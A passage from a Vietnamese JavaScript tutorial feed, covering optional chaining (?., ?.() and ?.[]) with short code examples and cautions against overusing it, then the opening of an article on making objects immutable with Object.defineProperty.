13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Optional chaining trong JavaScript là gì?</h2> <p>Optional chaining trong Javascript kí hiệu là <code>?.</code>, dùng để dừng lại quá trình xử lý nếu giá trị trước <code>?.</code> có <a href="/kieu-du-lieu-trong-javascript/">kiểu dữ liệu</a> là <code>undefined</code> hoặc <code>null</code>.</p> <p>Nói cách khác, <code>value?.prop</code>:</p> <ul> <li>Tương đương với <code>value.prop</code> nếu <code>value</code> khác <code>undefined</code> và <code>null</code>.</li> <li>Ngược lại, nếu <code>value</code> bằng <code>undefined</code> hoặc <code>null</code> thì trả về giá trị <code>undefined</code>.</li> </ul> <p>Ví dụ sử dụng optional chaining trong JavaScript:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// user có thuộc tính address</span> <span class="token keyword">let</span> user1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">address</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">street</span><span class="token operator">:</span> <span class="token string">"Hai Ba Trung"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user1<span class="token operator">?.</span>address<span class="token operator">?.</span>street<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hai Ba Trung</span></span> <span class="token comment">// user không có thuộc tính address</span> <span class="token keyword">let</span> user2 <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user2<span class="token operator">?.</span>address<span class="token operator">?.</span>street<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></span></code></pre></div> <p>Cách viết trên rõ ràng là <strong>gọn gàng hơn</strong>. Và kết quả trả về đúng như mong đợi.</p> <p>Ngoài ra, cách viết trên vẫn hoạt động đúng trong trường hợp <code>user</code> bằng <code>null</code> hoặc <code>undefined</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token operator">?.</span>address<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token operator">?.</span>address<span class="token operator">?.</span>street<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></code></pre></div> <blockquote> <p><strong>Chú ý:</strong> optional chaining trong JavaScript <code>?.</code> chỉ kiểm tra điều kiện của <strong>một giá trị</strong> đứng trước nó.</p> </blockquote> <p>Ví dụ đoạn code sau bị lỗi:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>address<span class="token operator">?.</span>street<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="token comment">// Uncaught TypeError: Cannot read properties of null (reading 'address')</span></code></pre></div> <p>Đoạn code trên bị lỗi vì <code>?.</code> đặt sau <code>address</code> nên chỉ dùng để kiểm tra giá trị của <code>address</code>.</p> <p>Nhưng vấn đề ở đây là, giá trị <code>user</code> bằng <code>null</code>. Nên bước truy cập <code>user.address</code> đã bị lỗi <strong>cannot read properties of null (reading 'address')</strong>.</p> <h2 id="một-số-chú-ý-về-optional-chaining" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-ch%C3%BA-%C3%BD-v%E1%BB%81-optional-chaining" aria-label="một số chú ý về optional chaining permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số chú ý về optional chaining</h2> <p>Bên trên là những <strong>ưu điểm</strong> của Optional Chaining trong JavaScript. Nhưng không phải trường hợp nào cũng nên sử dụng optional chaining.</p> <p>Sau đây là một số chú ý:</p> <p>► <strong>Không nên lạm dụng optional chaining</strong></p> <p>Bạn chỉ nên sử dụng <code>?.</code> nếu giá trị trước <code>?.</code> bằng <code>null</code> hoặc <code>undefined</code> là <strong>có thể chấp nhận được</strong>.</p> <p>Trong ví dụ trên, giá trị của <code>address</code> trong <code>user</code> là <strong>không bắt buộc</strong>. Nên việc sử dụng <code>address?.street</code> là hoàn toàn hợp lý.</p> <p>Về phía <code>user</code>, nếu giá trị của <code>user</code> cũng không bắt buộc thì bạn nên sử dụng <code>user?.address</code>.</p> <p>Nhưng nếu giá trị của <code>user</code> là <strong>bắt buộc phải có</strong> (không có sẽ là sai logic code) thì bạn chỉ nên viết <code>user.address</code>.</p> <p>Với cách viết này, nếu <code>user</code> bằng <code>null</code> hoặc <code>undefined</code> thì bạn sẽ thấy lỗi hiển thị ra <a href="/dev-tools-la-gi/">console</a>. Nhờ vậy, bạn <strong>biết lỗi để sửa lại logic</strong> cho đúng (thay vì phải rất khó khăn để tìm ra lỗi sai).</p> <p>► <strong>Biến trước <code>?.</code> phải được khai báo trước</strong></p> <p>Trường hợp biến đứng trước <code>?.</code> chưa được khai báo, bạn sẽ bị lỗi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token operator">?.</span>address<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught ReferenceError: user is not defined</span></code></pre></div> <p>Nghĩa là giá trị trước <code>?.</code> phải được khai báo biến với <code>let</code> / <code>const</code> / <code>var</code> hoặc là một hàm (sử dụng <code>function</code>).</p> <h2 id="optional-chaining-có-thể-làm-short-circuiting" style="position:relative;"><a href="#optional-chaining-c%C3%B3-th%E1%BB%83-l%C3%A0m-short-circuiting" aria-label="optional chaining có thể làm short circuiting permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Optional chaining có thể làm "short-circuiting"</h2> <p>Như mình đã nói ở trên, <code>?.</code> sẽ dừng lại quá trình xử lý nếu giá trị trước <code>?.</code> là <code>null</code> hoặc <code>undefined</code>. Khi đó, những phần phía sau <code>?.</code> không được thực hiện.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span> <span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> user<span class="token operator">?.</span><span class="token function">sayHi</span><span class="token punctuation">(</span>x<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// sayHi không được thực thi vì user là null</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0, giá trị của x không tăng lên</span></code></pre></div> <h2 id="các-biến-thể-của-optional-chaining--và-" style="position:relative;"><a href="#c%C3%A1c-bi%E1%BA%BFn-th%E1%BB%83-c%E1%BB%A7a-optional-chaining--v%C3%A0-" aria-label="các biến thể của optional chaining và permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các biến thể của optional chaining <code>?.()</code> và <code>?.[]</code></h2> <p>Optional chaining trong JavaScript <strong>không phải là toán tử</strong> nhưng có thể sử dụng với <strong>hàm</strong> và <strong>toán tử <code>[]</code></strong>.</p> <p>► <strong>Ví dụ <code>?.</code> với hàm:</strong></p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> userAdmin <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token function">admin</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"I am admin"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> userGuest <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span></span> <span class="gatsby-highlight-code-line">userAdmin<span class="token punctuation">.</span>admin<span class="token operator">?.</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// I am admin</span></span> userGuest<span class="token punctuation">.</span>admin<span class="token operator">?.</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// không có gì hiển thị</span></code></pre></div> <p>Trong ví dụ trên, <code>?.</code> dùng để kiểm tra xem <a href="/phuong-thuc-object-va-this-trong-javascript/">phương thức</a> <code>admin</code> có tồn tại hay không. Nếu tồn tại thì phương thức <code>admin</code> được gọi.</p> <p>Đối tượng <code>userAdmin</code> có phương thức <code>admin</code> nên <code>userAdmin.admin</code> khác <code>null</code> và <code>undefined</code>. Vì vậy, <code>userAdmin.admin()</code> được gọi.</p> <p>Đối tượng <code>userGuest</code> không có phương thức <code>admin</code> nên <code>userGuest.admin</code> bằng <code>undefined</code>. Do đó, <code>userGuest.admin()</code> không được gọi.</p> <p>► <strong>Ví dụ <code>?.</code> với toán tử <code>[]</code>:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> user2 <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user1<span class="token operator">?.</span><span class="token punctuation">[</span><span class="token string">"name"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Alex</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user2<span class="token operator">?.</span><span class="token punctuation">[</span><span class="token string">"name"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></code></pre></div> <p>Trong ví dụ trên, <code>?.</code> dùng để kiểm tra xem <code>user1</code> và <code>user2</code> có tồn tại hay không. Nếu tồn tại thì dùng <code>["name"]</code> để truy cập giá trị thuộc tính <code>"name"</code> trong các đối tượng.</p> <p>Đối tượng <code>user1</code> khác <code>null</code> và <code>undefined</code> nên <code>user1?.["name"]</code> tương đương với <code>user1.["name"]</code> (bằng <strong>Alex</strong>).</p> <p>Đối tượng <code>user2</code> bằng <code>null</code> nên <code>user2?.["name"]</code> trả về <code>undefined</code>.</p> <p>► Ngoài ra, bạn có thể dùng <code>?.</code> với <code>delete</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">delete</span> user<span class="token operator">?.</span>name<span class="token punctuation">;</span> <span class="token comment">// xóa thuộc tính user.name nếu user tồn tại.</span></code></pre></div> <blockquote> <p>💡 <strong>Chú ý:</strong> bạn có thể dùng <code>?.</code> để <strong>đọc và xóa</strong> thuộc tính trong object, nhưng không thể <strong>thay đổi giá trị</strong> của thuộc tính.</p> </blockquote> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span> user<span class="token operator">?.</span>name <span class="token operator">=</span> <span class="token string">"Alex"</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught SyntaxError: Invalid left-hand side in assignment</span></code></pre></div> <p>Bởi vì <code>user</code> là <code>null</code>, nên <code>user?.name</code> trả về <code>undefined</code>. Bạn tưởng tượng câu lệnh trên trở thành <code>undefined = "Alex"</code> - <strong>hoàn toàn vô nghĩa</strong>.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Optional chaining trong JavaScript có ba dạng:</p> <ol> <li><code>obj?.prop</code>: trả về <code>obj.prop</code> nếu <code>obj</code> khác <code>null</code> và <code>undefined</code>, ngược lại trả về <code>undefined</code>.</li> <li><code>obj?.[prop]</code>: trả về <code>obj[prop]</code> nếu <code>obj</code> khác <code>null</code> và <code>undefined</code>, ngược lại trả về <code>undefined</code>.</li> <li><code>obj.method?.()</code>: trả về <code>obj.method()</code> nếu <code>obj.method</code> khác <code>null</code> và <code>undefined</code>, ngược lại trả về <code>undefined</code>.</li> </ol> <p>Về cơ bản, optional chaining kiểm tra giá trị phía trước <code>?.</code> khác <code>null</code> và <code>undefined</code> thì thực hiện tiếp, nếu không thì dừng lại.</p> <p>Vì vậy, optional chaining cho phép truy cập một cách an toàn vào các thuộc tính của <strong>object lồng nhau</strong>.</p> <p>Mặc dù, optional chaining có nhiều lợi ích, nhưng bạn cũng cần chú ý tránh lạm dụng <code>?.</code>.</p> <p>Chỉ nên sử dụng optional chaining khi giá trị phía trước <code>?.</code> bằng <code>null</code> hoặc <code>undefined</code> là <strong>có thể chấp nhận được</strong>.</p>[email protected]<![CDATA[2 cách tạo immutable object trong JavaScript]]><![CDATA[Thông thường, object trong JavaScript là mutable - nghĩa là trạng thái của object có thể thay đổi được. Nói cách khác là giá trị các thuộc tính trong Object có thể thay đổi được,…]]>https://completejavascript.com/2-cach-tao-immutable-object-javascript/https://completejavascript.com/2-cach-tao-immutable-object-javascript/<![CDATA[ES6]]><![CDATA[Object]]><![CDATA[Kiểu dữ liệu]]>Sat, 20 May 2017 02:57:04 GMT<p>Thông thường, <a href="/object-la-gi-object-trong-javascript/">object</a> trong JavaScript là <strong>mutable</strong> - nghĩa là trạng thái của object có thể thay đổi được. Nói cách khác là <strong>giá trị các thuộc tính trong Object có thể thay đổi được</strong>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// khởi tạo object rỗng</span> obj<span class="token punctuation">.</span>a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token comment">// thêm thuộc tính a và gán giá trị 1</span> obj<span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token comment">// cập nhật giá trị thuộc tính a bằng 2</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span></code></pre></div> <p>Có nhiều trường hợp bạn muốn object đó là <strong>immutable</strong> - trạng thái không thể thay đổi được. Sau đây, mình sẽ giới thiệu với bạn <strong>2 cách tạo immutable object</strong> trong JavaScript.</p> <h2 id="tạo-immutable-object-sử-dụng-objectdefineproperty" style="position:relative;"><a href="#t%E1%BA%A1o-immutable-object-s%E1%BB%AD-d%E1%BB%A5ng-objectdefineproperty" aria-label="tạo immutable object sử dụng objectdefineproperty permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo immutable object sử dụng <code>Object.defineProperty</code></h2> <p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty"><code>Object.defineProperty()</code></a> <strong>định nghĩa một thuộc tính mới</strong> hoặc <strong>cập nhật thuộc tính có sẵn</strong> trên object.</p> <h3 id="cách-sử-dụng-objectdefineproperty" style="position:relative;"><a href="#c%C3%A1ch-s%E1%BB%AD-d%E1%BB%A5ng-objectdefineproperty" aria-label="cách sử dụng objectdefineproperty permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách sử dụng <code>Object.defineProperty</code></h3> <p>Để tạo immutable object sử dụng <code>Object.defineProperty</code>, bạn chỉ cần định nghĩa property với thuộc tính <code>writable</code> (có thể ghi đè) là <code>false</code>, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// định nghĩa thuộc tính a trong obj</span> Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token comment">// giá trị là 1</span> <span class="gatsby-highlight-code-line"> <span class="token literal-property property">writable</span><span class="token operator">:</span> <span class="token boolean">false</span><span class="token punctuation">,</span> <span class="token comment">// writable: false - nghĩa là không thể ghi đè</span></span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> obj<span class="token punctuation">.</span>a <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token comment">// thử ghi đè giá trị khác vào a</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1 - kết quả giá trị của a vẫn không đổi</span></code></pre></div> <p>Bạn thấy rằng giá trị của <code>obj.a</code> không thay đổi so với giá trị ban đầu, vẫn là <code>1</code>. Đó chính là <strong>tính bất biến</strong>.</p> <p>Nếu sử dụng ở <a href="/use-strict-trong-js/">strict mode</a> thì đoạn code trên sẽ sinh ra lỗi:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token string">"use strict"</span><span class="token punctuation">;</span></span> <span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// định nghĩa thuộc tính a trong obj</span> Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token comment">// giá trị là 1</span> <span class="token literal-property property">writable</span><span class="token operator">:</span> <span class="token boolean">false</span><span class="token punctuation">,</span> <span class="token comment">// writable: false - nghĩa là không thể ghi đè</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> obj<span class="token punctuation">.</span>a <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token comment">// Uncaught TypeError:</span></span><span class="gatsby-highlight-code-line"><span class="token comment">// Cannot assign to read only property 'a' of object '#&lt;Object>'</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Đúng vậy, nếu <code>writable</code> bằng <code>false</code> thì thuộc tính gọi là <strong>read only</strong> (thuộc tính chỉ đọc).</p> <p>Thực tế, giá trị mặc định của thuộc tính <code>writable</code> là <code>false</code>, nên bạn có thể bỏ qua thuộc tính này:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>obj<span class="token punctuation">.</span>a <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span></code></pre></div> <h3 id="thay-đổi-giá-trị-writable-với-objectdefineproperty" style="position:relative;"><a href="#thay-%C4%91%E1%BB%95i-gi%C3%A1-tr%E1%BB%8B-writable-v%E1%BB%9Bi-objectdefineproperty" aria-label="thay đổi giá trị writable với objectdefineproperty permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thay đổi giá trị <code>writable</code> với <code>Object.defineProperty</code></h3> <p>Câu hỏi đặt ra là: <strong>nếu mình muốn thay đổi giá trị của <code>writable</code> từ <code>false</code> thành <code>true</code> có được không?</strong></p> <p>Câu trả lời: <strong>mặc định là KHÔNG</strong>.</p> <p>Khi định nghĩa thuộc tính bằng <code>Object.defineProperty</code>, ngoài <code>writable</code> ra thì còn có <code>configurable</code> (có thể chỉnh sửa).</p> <p>Mặc định, giá trị của <code>configurable</code> là <code>false</code>, nên đoạn code sau sẽ bị lỗi: <strong>TypeError: Cannot redefine property: a</strong> (không thể định nghĩa lại thuộc tính a).</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">writable</span><span class="token operator">:</span> <span class="token boolean">false</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">writable</span><span class="token operator">:</span> <span class="token boolean">true</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="token comment">// => TypeError: Cannot redefine property: a</span></code></pre></div> <p>Để giải quyết vấn đề này, bạn phải sửa <code>configurable</code> thành <code>true</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="gatsby-highlight-code-line"> <span class="token literal-property property">writable</span><span class="token operator">:</span> <span class="token boolean">false</span><span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"> <span class="token literal-property property">configurable</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span></span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">writable</span><span class="token operator">:</span> <span class="token boolean">true</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> obj<span class="token punctuation">.</span>a <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2 - giá trị của thuộc tính a đã thay đổi</span></code></pre></div> <p>Nghĩa là bạn có thể biến <strong>immutable object</strong> thành <strong>mutable object</strong> được bằng cách này.</p> <h2 id="tạo-immutable-object-sử-dụng-objectfreeze" style="position:relative;"><a href="#t%E1%BA%A1o-immutable-object-s%E1%BB%AD-d%E1%BB%A5ng-objectfreeze" aria-label="tạo immutable object sử dụng objectfreeze permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" 